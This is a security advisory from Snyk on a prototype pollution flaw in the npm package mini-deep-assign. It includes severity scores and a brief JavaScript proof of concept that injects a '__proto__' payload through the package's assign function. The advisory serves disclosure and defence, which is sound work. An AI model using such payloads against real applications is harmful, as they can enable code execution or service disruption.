Improper Control of Dynamically-Managed Code Resources Affecting mini-deep-assign package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    EPSS
    0.11% (45th percentile)

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  • Snyk ID SNYK-JS-MINIDEEPASSIGN-7575283
  • published 31 Jul 2024
  • disclosed 30 Jul 2024
  • credit mestrtee

How to fix?

There is no fixed version for mini-deep-assign.

Overview

mini-deep-assign is a Like Object.assign(), but recursive

Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources through the _assign method. An attacker can execute arbitrary code or disrupt service by manipulating object properties.

PoC


(async () => {
  const lib = await import('mini-deep-assign');

var BAD_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
  lib.default ({}, BAD_JSON)
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
})();

CVSS Scores

version 4.0
version 3.1
Expand this section

Snyk

Recommended
8.8 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Attack Requirements (AT)
    None
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Confidentiality (VC)
    Low
  • Integrity (VI)
    Low
  • Availability (VA)
    High
  • Confidentiality (SC)
    None
  • Integrity (SI)
    None
  • Availability (SA)
    None